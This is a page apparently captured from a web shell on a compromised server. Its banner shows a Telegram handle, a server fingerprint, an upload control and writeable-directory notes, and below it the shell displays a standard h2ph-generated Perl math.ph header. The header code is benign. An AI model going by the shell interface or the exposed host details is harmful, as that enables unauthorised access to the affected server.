https://t.me/RX1948
Server : Apache
System : Linux server.lienzindia.com 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : plutus ( 1007)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/local/apps/perl/lib/site_perl/5.30.0/x86_64-linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/apps/perl/lib/site_perl/5.30.0/x86_64-linux/math.ph
require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_MATH_H)) {
    eval 'sub _MATH_H () {1;}' unless defined(&_MATH_H);
    require 'features.ph';
    require 'bits/huge_val.ph';
    if(defined(&__USE_ISOC99)) {
	require 'bits/huge_valf.ph';
	require 'bits/huge_vall.ph';
	require 'bits/inf.ph';
	require 'bits/nan.ph';
    }
    require 'bits/mathdef.ph';
    eval 'sub __MATHCALL {
        my($function,$suffix, $args) = @_;
	    eval q( &__MATHDECL ( &_Mdouble_,$function,$suffix, $args));
    }' unless defined(&__MATHCALL);
    eval 'sub __MATHDECL {
        my($type, $function,$suffix, $args) = @_;
	    eval q( &__MATHDECL_1($type, $function,$suffix, $args);  &__MATHDECL_1($type,  &__CONCAT( &__,$function),$suffix, $args));
    }' unless defined(&__MATHDECL);
    eval 'sub __MATHCALLX {
        my($function,$suffix, $args, $attrib) = @_;
	    eval q( &__MATHDECLX ( &_Mdouble_,$function,$suffix, $args, $attrib));
    }' unless defined(&__MATHCALLX);
    eval 'sub __MATHDECLX {
        my($type, $function,$suffix, $args, $attrib) = @_;
	    eval q( &__MATHDECL_1($type, $function,$suffix, $args)  &__attribute__ ($attrib);  &__MATHDECL_1($type,  &__CONCAT( &__,$function),$suffix, $args)  &__attribute__ ($attrib));
    }' unless defined(&__MATHDECLX);
    eval 'sub __MATHDECL_1 {
        my($type, $function,$suffix, $args) = @_;
	    eval q( &extern $type  &__MATH_PRECNAME($function,$suffix) $args  &__THROW);
    }' unless defined(&__MATHDECL_1);
    eval 'sub _Mdouble_ () {\'double\';}' unless defined(&_Mdouble_);
    eval 'sub __MATH_PRECNAME {
        my($name,$r) = @_;
	    eval q( &__CONCAT($name,$r));
    }' unless defined(&__MATH_PRECNAME);
    eval 'sub _Mdouble_BEGIN_NAMESPACE () { &__BEGIN_NAMESPACE_STD;}' unless defined(&_Mdouble_BEGIN_NAMESPACE);
    eval 'sub _Mdouble_END_NAMESPACE () { &__END_NAMESPACE_STD;}' unless defined(&_Mdouble_END_NAMESPACE);
    require 'bits/mathcalls.ph';
    undef(&_Mdouble_) if defined(&_Mdouble_);
    undef(&_Mdouble_BEGIN_NAMESPACE) if defined(&_Mdouble_BEGIN_NAMESPACE);
    undef(&_Mdouble_END_NAMESPACE) if defined(&_Mdouble_END_NAMESPACE);
    undef(&__MATH_PRECNAME) if defined(&__MATH_PRECNAME);
    if(defined (&__USE_MISC) || defined (&__USE_ISOC99)) {
	unless(defined(&_Mfloat_)) {
	    eval 'sub _Mfloat_ () {\'float\';}' unless defined(&_Mfloat_);
	}
	eval 'sub _Mdouble_ () { &_Mfloat_;}' unless defined(&_Mdouble_);
	if(defined(&__STDC__)) {
	    eval 'sub __MATH_PRECNAME {
	        my($name,$r) = @_;
    		eval q($name &f$r);
	    }' unless defined(&__MATH_PRECNAME);
	} else {
	    eval 'sub __MATH_PRECNAME {
	        my($name,$r) = @_;
    		eval q($name  &f $r);
	    }' unless defined(&__MATH_PRECNAME);
	}
	eval 'sub _Mdouble_BEGIN_NAMESPACE () { &__BEGIN_NAMESPACE_C99;}' unless defined(&_Mdouble_BEGIN_NAMESPACE);
	eval 'sub _Mdouble_END_NAMESPACE () { &__END_NAMESPACE_C99;}' unless defined(&_Mdouble_END_NAMESPACE);
	require 'bits/mathcalls.ph';
	undef(&_Mdouble_) if defined(&_Mdouble_);
	undef(&_Mdouble_BEGIN_NAMESPACE) if defined(&_Mdouble_BEGIN_NAMESPACE);
	undef(&_Mdouble_END_NAMESPACE) if defined(&_Mdouble_END_NAMESPACE);
	undef(&__MATH_PRECNAME) if defined(&__MATH_PRECNAME);
	if(((defined(&__STDC__) ? &__STDC__ : undef) - 0|| (defined(&__GNUC__) ? &__GNUC__ : undef) - 0)  && (!defined (&__NO_LONG_DOUBLE_MATH) || defined (&__LDBL_COMPAT))) {
	    if(defined(&__LDBL_COMPAT)) {
		if(defined(&__USE_ISOC99)) {
		    if(defined(&__REDIRECT_NTH)) {
		    }
		}
		undef(&__MATHDECL_1) if defined(&__MATHDECL_1);
		eval 'sub __MATHDECL_2 {
		    my($type, $function,$suffix, $args, $alias) = @_;
    		    eval q( &extern $type  &__REDIRECT_NTH( &__MATH_PRECNAME($function,$suffix), $args, $alias));
		}' unless defined(&__MATHDECL_2);
		eval 'sub __MATHDECL_1 {
		    my($type, $function,$suffix, $args) = @_;
    		    eval q( &__MATHDECL_2($type, $function,$suffix, $args,  &__CONCAT($function,$suffix)));
		}' unless defined(&__MATHDECL_1);
	    }
	    unless(defined(&_Mlong_double_)) {
		eval 'sub _Mlong_double_ () {\'long double\';}' unless defined(&_Mlong_double_);
	    }
	    eval 'sub _Mdouble_ () {\'_Mlong_double_\';}' unless defined(&_Mdouble_);
	    if(defined(&__STDC__)) {
		eval 'sub __MATH_PRECNAME {
		    my($name,$r) = @_;
    		    eval q($name &l$r);
		}' unless defined(&__MATH_PRECNAME);
	    } else {
		eval 'sub __MATH_PRECNAME {
		    my($name,$r) = @_;
    		    eval q($name  &l $r);
		}' unless defined(&__MATH_PRECNAME);
	    }
	    eval 'sub _Mdouble_BEGIN_NAMESPACE () { &__BEGIN_NAMESPACE_C99;}' unless defined(&_Mdouble_BEGIN_NAMESPACE);
	    eval 'sub _Mdouble_END_NAMESPACE () { &__END_NAMESPACE_C99;}' unless defined(&_Mdouble_END_NAMESPACE);
	    require 'bits/mathcalls.ph';
	    undef(&_Mdouble_) if defined(&_Mdouble_);
	    undef(&_Mdouble_BEGIN_NAMESPACE) if defined(&_Mdouble_BEGIN_NAMESPACE);
	    undef(&_Mdouble_END_NAMESPACE) if defined(&_Mdouble_END_NAMESPACE);
	    undef(&__MATH_PRECNAME) if defined(&__MATH_PRECNAME);
	}
    }
    undef(&__MATHDECL_1) if defined(&__MATHDECL_1);
    undef(&__MATHDECL) if defined(&__MATHDECL);
    undef(&__MATHCALL) if defined(&__MATHCALL);
    if(defined (&__USE_MISC) || defined (&__USE_XOPEN)) {
    }
    if(defined(&__USE_ISOC99)) {
	eval("sub FP_NAN () { 0; }") unless defined(&FP_NAN);
	eval("sub FP_INFINITE () { 1; }") unless defined(&FP_INFINITE);
	eval("sub FP_ZERO () { 2; }") unless defined(&FP_ZERO);
	eval("sub FP_SUBNORMAL () { 3; }") unless defined(&FP_SUBNORMAL);
	eval("sub FP_NORMAL () { 4; }") unless defined(&FP_NORMAL);
	if(defined(&__NO_LONG_DOUBLE_MATH)) {
	    eval 'sub fpclassify {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__fpclassifyf ($x) :  &__fpclassify ($x)));
	    }' unless defined(&fpclassify);
	} else {
	    eval 'sub fpclassify {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__fpclassifyf ($x) : $sizeof{$x} == $sizeof{\'double\'} ?  &__fpclassify ($x) :  &__fpclassifyl ($x)));
	    }' unless defined(&fpclassify);
	}
	if(defined(&__NO_LONG_DOUBLE_MATH)) {
	    eval 'sub signbit {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__signbitf ($x) :  &__signbit ($x)));
	    }' unless defined(&signbit);
	} else {
	    eval 'sub signbit {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__signbitf ($x) : $sizeof{$x} == $sizeof{\'double\'} ?  &__signbit ($x) :  &__signbitl ($x)));
	    }' unless defined(&signbit);
	}
	if(defined(&__NO_LONG_DOUBLE_MATH)) {
	    eval 'sub isfinite {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__finitef ($x) :  &__finite ($x)));
	    }' unless defined(&isfinite);
	} else {
	    eval 'sub isfinite {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__finitef ($x) : $sizeof{$x} == $sizeof{\'double\'} ?  &__finite ($x) :  &__finitel ($x)));
	    }' unless defined(&isfinite);
	}
	eval 'sub isnormal {
	    my($x) = @_;
    	    eval q(( &fpclassify ($x) ==  &FP_NORMAL));
	}' unless defined(&isnormal);
	if(defined(&__NO_LONG_DOUBLE_MATH)) {
	    eval 'sub isnan {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__isnanf ($x) :  &__isnan ($x)));
	    }' unless defined(&isnan);
	} else {
	    eval 'sub isnan {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__isnanf ($x) : $sizeof{$x} == $sizeof{\'double\'} ?  &__isnan ($x) :  &__isnanl ($x)));
	    }' unless defined(&isnan);
	}
	if(defined(&__NO_LONG_DOUBLE_MATH)) {
	    eval 'sub isinf {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__isinff ($x) :  &__isinf ($x)));
	    }' unless defined(&isinf);
	} else {
	    eval 'sub isinf {
	        my($x) = @_;
    		eval q(($sizeof{$x} == $sizeof{\'float\'} ?  &__isinff ($x) : $sizeof{$x} == $sizeof{\'double\'} ?  &__isinf ($x) :  &__isinfl ($x)));
	    }' unless defined(&isinf);
	}
	eval 'sub MATH_ERRNO () {1;}' unless defined(&MATH_ERRNO);
	eval 'sub MATH_ERREXCEPT () {2;}' unless defined(&MATH_ERREXCEPT);
	unless(defined(&__FAST_MATH__)) {
	    eval 'sub math_errhandling () {( &MATH_ERRNO |  &MATH_ERREXCEPT);}' unless defined(&math_errhandling);
	}
    }
    if(defined(&__USE_MISC)) {
	eval("sub _IEEE_ () { -1; }") unless defined(&_IEEE_);
	eval("sub _SVID_ () { 0; }") unless defined(&_SVID_);
	eval("sub _XOPEN_ () { 1; }") unless defined(&_XOPEN_);
	eval("sub _POSIX_ () { 2; }") unless defined(&_POSIX_);
	eval("sub _ISOC_ () { 3; }") unless defined(&_ISOC_);
    }
    if(defined(&__USE_SVID)) {
	if(defined(&__cplusplus)) {
	} else {
	}
	if(defined(&__cplusplus)) {
	} else {
	}
	eval 'sub X_TLOSS () {1.41484755040568800000e+16;}' unless defined(&X_TLOSS);
	eval 'sub DOMAIN () {1;}' unless defined(&DOMAIN);
	eval 'sub SING () {2;}' unless defined(&SING);
	eval 'sub OVERFLOW () {3;}' unless defined(&OVERFLOW);
	eval 'sub UNDERFLOW () {4;}' unless defined(&UNDERFLOW);
	eval 'sub TLOSS () {5;}' unless defined(&TLOSS);
	eval 'sub PLOSS () {6;}' unless defined(&PLOSS);
	eval 'sub HUGE () {3.40282347e+38;}' unless defined(&HUGE);
    } else {
	if(defined(&__USE_XOPEN)) {
	    eval 'sub MAXFLOAT () {3.40282347e+38;}' unless defined(&MAXFLOAT);
	}
    }
    if(defined (&__USE_BSD) || defined (&__USE_XOPEN)) {
	eval 'sub M_E () {2.7182818284590452354;}' unless defined(&M_E);
	eval 'sub M_LOG2E () {1.4426950408889634074;}' unless defined(&M_LOG2E);
	eval 'sub M_LOG10E () {0.43429448190325182765;}' unless defined(&M_LOG10E);
	eval 'sub M_LN2 () {0.69314718055994530942;}' unless defined(&M_LN2);
	eval 'sub M_LN10 () {2.30258509299404568402;}' unless defined(&M_LN10);
	eval 'sub M_PI () {3.14159265358979323846;}' unless defined(&M_PI);
	eval 'sub M_PI_2 () {1.57079632679489661923;}' unless defined(&M_PI_2);
	eval 'sub M_PI_4 () {0.78539816339744830962;}' unless defined(&M_PI_4);
	eval 'sub M_1_PI () {0.31830988618379067154;}' unless defined(&M_1_PI);
	eval 'sub M_2_PI () {0.63661977236758134308;}' unless defined(&M_2_PI);
	eval 'sub M_2_SQRTPI () {1.12837916709551257390;}' unless defined(&M_2_SQRTPI);
	eval 'sub M_SQRT2 () {1.41421356237309504880;}' unless defined(&M_SQRT2);
	eval 'sub M_SQRT1_2 () {0.70710678118654752440;}' unless defined(&M_SQRT1_2);
    }
    if(defined(&__USE_GNU)) {
	eval 'sub M_El () {2.7182818284590452353602874713526625;}' unless defined(&M_El);
	eval 'sub M_LOG2El () {1.4426950408889634073599246810018921;}' unless defined(&M_LOG2El);
	eval 'sub M_LOG10El () {0.4342944819032518276511289189166051;}' unless defined(&M_LOG10El);
	eval 'sub M_LN2l () {0.6931471805599453094172321214581766;}' unless defined(&M_LN2l);
	eval 'sub M_LN10l () {2.3025850929940456840179914546843642;}' unless defined(&M_LN10l);
	eval 'sub M_PIl () {3.1415926535897932384626433832795029;}' unless defined(&M_PIl);
	eval 'sub M_PI_2l () {1.5707963267948966192313216916397514;}' unless defined(&M_PI_2l);
	eval 'sub M_PI_4l () {0.7853981633974483096156608458198757;}' unless defined(&M_PI_4l);
	eval 'sub M_1_PIl () {0.3183098861837906715377675267450287;}' unless defined(&M_1_PIl);
	eval 'sub M_2_PIl () {0.6366197723675813430755350534900574;}' unless defined(&M_2_PIl);
	eval 'sub M_2_SQRTPIl () {1.1283791670955125738961589031215452;}' unless defined(&M_2_SQRTPIl);
	eval 'sub M_SQRT2l () {1.4142135623730950488016887242096981;}' unless defined(&M_SQRT2l);
	eval 'sub M_SQRT1_2l () {0.7071067811865475244008443621048490;}' unless defined(&M_SQRT1_2l);
    }
    if(defined (&__STRICT_ANSI__)  && !defined (&__NO_MATH_INLINES)) {
	eval 'sub __NO_MATH_INLINES () {1;}' unless defined(&__NO_MATH_INLINES);
    }
    if(defined (&__USE_ISOC99)  &&  &__GNUC_PREREQ(2,97)) {
	eval 'sub isgreater {
	    my($x, $y) = @_;
    	    eval q( &__builtin_isgreater($x, $y));
	}' unless defined(&isgreater);
	eval 'sub isgreaterequal {
	    my($x, $y) = @_;
    	    eval q( &__builtin_isgreaterequal($x, $y));
	}' unless defined(&isgreaterequal);
	eval 'sub isless {
	    my($x, $y) = @_;
    	    eval q( &__builtin_isless($x, $y));
	}' unless defined(&isless);
	eval 'sub islessequal {
	    my($x, $y) = @_;
    	    eval q( &__builtin_islessequal($x, $y));
	}' unless defined(&islessequal);
	eval 'sub islessgreater {
	    my($x, $y) = @_;
    	    eval q( &__builtin_islessgreater($x, $y));
	}' unless defined(&islessgreater);
	eval 'sub isunordered {
	    my($u, $v) = @_;
    	    eval q( &__builtin_isunordered($u, $v));
	}' unless defined(&isunordered);
    }
    if(defined(&__USE_EXTERN_INLINES)) {
	require 'bits/mathinline.ph';
    }
    if(defined(&__USE_ISOC99)) {
	unless(defined(&isgreater)) {
	    eval 'sub isgreater {
	        my($x, $y) = @_;
    		eval q(( &__extension__ ({  &__typeof__($x)  &__x = ($x);  &__typeof__($y)  &__y = ($y); ! &isunordered ( &__x,  &__y)  &&  &__x >  &__y; })));
	    }' unless defined(&isgreater);
	}
	unless(defined(&isgreaterequal)) {
	    eval 'sub isgreaterequal {
	        my($x, $y) = @_;
    		eval q(( &__extension__ ({  &__typeof__($x)  &__x = ($x);  &__typeof__($y)  &__y = ($y); ! &isunordered ( &__x,  &__y)  &&  &__x >=  &__y; })));
	    }' unless defined(&isgreaterequal);
	}
	unless(defined(&isless)) {
	    eval 'sub isless {
	        my($x, $y) = @_;
    		eval q(( &__extension__ ({  &__typeof__($x)  &__x = ($x);  &__typeof__($y)  &__y = ($y); ! &isunordered ( &__x,  &__y)  &&  &__x <  &__y; })));
	    }' unless defined(&isless);
	}
	unless(defined(&islessequal)) {
	    eval 'sub islessequal {
	        my($x, $y) = @_;
    		eval q(( &__extension__ ({  &__typeof__($x)  &__x = ($x);  &__typeof__($y)  &__y = ($y); ! &isunordered ( &__x,  &__y)  &&  &__x <=  &__y; })));
	    }' unless defined(&islessequal);
	}
	unless(defined(&islessgreater)) {
	    eval 'sub islessgreater {
	        my($x, $y) = @_;
    		eval q(( &__extension__ ({  &__typeof__($x)  &__x = ($x);  &__typeof__($y)  &__y = ($y); ! &isunordered ( &__x,  &__y)  && ( &__x <  &__y ||  &__y <  &__x); })));
	    }' unless defined(&islessgreater);
	}
	unless(defined(&isunordered)) {
	    eval 'sub isunordered {
	        my($u, $v) = @_;
    		eval q(( &__extension__ ({  &__typeof__($u)  &__u = ($u);  &__typeof__($v)  &__v = ($v);  &fpclassify ( &__u) ==  &FP_NAN ||  &fpclassify ( &__v) ==  &FP_NAN; })));
	    }' unless defined(&isunordered);
	}
    }
}
1;

https://t.me/RX1948 - 2025